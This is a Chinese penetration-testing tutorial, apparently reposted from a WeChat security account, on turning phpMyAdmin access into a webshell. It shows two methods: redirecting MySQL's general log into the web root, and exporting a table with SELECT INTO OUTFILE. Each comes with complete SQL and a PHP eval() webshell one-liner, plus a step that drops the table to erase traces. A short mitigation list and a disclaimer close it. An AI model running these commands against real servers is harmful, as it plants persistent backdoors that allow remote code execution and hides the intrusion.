渗透笔记——phpmyadmin getshell

admin 2025年1月17日13:44:05评论6 views字数 1871阅读6分14秒阅读模式

1,日志写入

前提

1,phpmyadmin利用日志文件getshell,该账号需要有 读、写权限

2,mysql版本>5.0 会创建日志文件,通过修改日志文件的全局变量来getshell

3,知道网站的绝对路径

步骤

1,假设我们此时通过弱口令,进入了一个服务器的phpMyAdmin后台,通过后台首页看到如下信息:

数据库服务器

    • 服务器:localhost via TCP/IP

    • 服务器类型:MySQL

    • 服务器连接: SSL未被使用

    • 服务器版本:5.7.26 - MySQL Community Server (GPL)

    • 协议版本:10

    • 用户:root@localhost

    • 服务器字符集:UTF-8 Unicode (utf8)

网站服务器

    • Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02

    • 数据库客户端版本:libmysql - mysqlnd 5.0.12-dev - 20150407 - $Id: 7cc7cc96e675f6d72e5cf0f267f48e167c2abb23 $

    • PHP 扩展:mysqli curl mbstring

    • PHP 版本:7.3.4

可以得到数据库版本>5.0,因此可以进行文件日志写入;

2,通过网站下的探针文件获取网站绝对路径:D:/phpstudy_pro/WWW/pikachu-master渗透笔记——phpmyadmin getshell获取网站绝对路径的其他方法参考:https://www.cnblogs.com/endust/p/12132374.html

3,查看日志信息,show variables like "%general%"; 默认是关闭的 OFF状态;

渗透笔记——phpmyadmin getshell

因此需要我们手动打开:set global general_log='on' ;

渗透笔记——phpmyadmin getshell

4,还需要设置日志文件保存路径为网站路径,这样我们写入的shell才能被访问:

set global general_log_file='D:/phpstudy_pro/WWW/pikachu-master/shell.php' , 此时在网站目录下会生成一个shell.php文件:

渗透笔记——phpmyadmin getshell

渗透笔记——phpmyadmin getshell

5,因为日志文件会记录mysql执行过的历史命令,因此直接使用select就可以写入shell:

select '<?php @eval($_POST['x']); ?>'

渗透笔记——phpmyadmin getshell

渗透笔记——phpmyadmin getshell

写入成功;

6,执行phpinfo();渗透笔记——phpmyadmin getshell

2,通过表导出方式写入

前提

1,对网站目录有读写权限

2,有数据库 insert ,create ,select 权限

3,知道网站绝对路径

4,secure_file_priv = ''

步骤

1,通过php探针获取了绝对路径为D:/phpstudy_pro/WWW/pikachu-master,数据库用户为root,因此具有insert,create,select 权限;

2,查看secure_file_priv是否为空:如果为空,则可以进行表的导入导出操作,如果为NULL,则表示禁止,如果指定了路径,则表示只能在该路径下进行表的导入导出操作。

(mysql 5.0以上的secure_file_priv默认是为NULL的,需要在mysql的配置文件mysql.ini中加入一条secure_file_priv='',然后重启数据库生效)

show variables like "%secure%";

渗透笔记——phpmyadmin getshell

3,使用phpmyadmin 创建一个表:create table cmd(cmd text not null);

渗透笔记——phpmyadmin getshell

4,向cmd表插入数据:insert into cmd(cmd) values('<?php @eval($_POST["password"]); ?>');

渗透笔记——phpmyadmin getshell

5,通过select into outfile导出表中的一句话:会在网站目录下创建一个cmd.php,内容为一句话

select cmd from cmd into outfile "D:/phpstudy_pro/WWW/pikachu-master/cmd.php";

渗透笔记——phpmyadmin getshell

渗透笔记——phpmyadmin getshell

6,删除表cmd,这一步可以理解为擦除痕迹:drop table if exists cmd;

渗透笔记——phpmyadmin getshell

7,访问cmd.php,执行phpinfo();渗透笔记——phpmyadmin getshell

这里主要环境是在phpmyadmin下进行的,但是在实际渗透环境中phpmyadmin这个后台环境不是必须的,并且网站的绝对路径一般都很难获得;

修复

1,secure_file_priv置为NULL,或者限定为指定目录,并且严格限制该目录的权限

2,低权限运行mysql

3,修改phpMyAdmin的口令为强口令,或者将管理端口限制外网访问

原文始发于微信公众号(白帽兔):渗透笔记——phpmyadmin getshell

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月17日13:44:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透笔记——phpmyadmin getshellhttp://cn-sec.com/archives/1078764.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息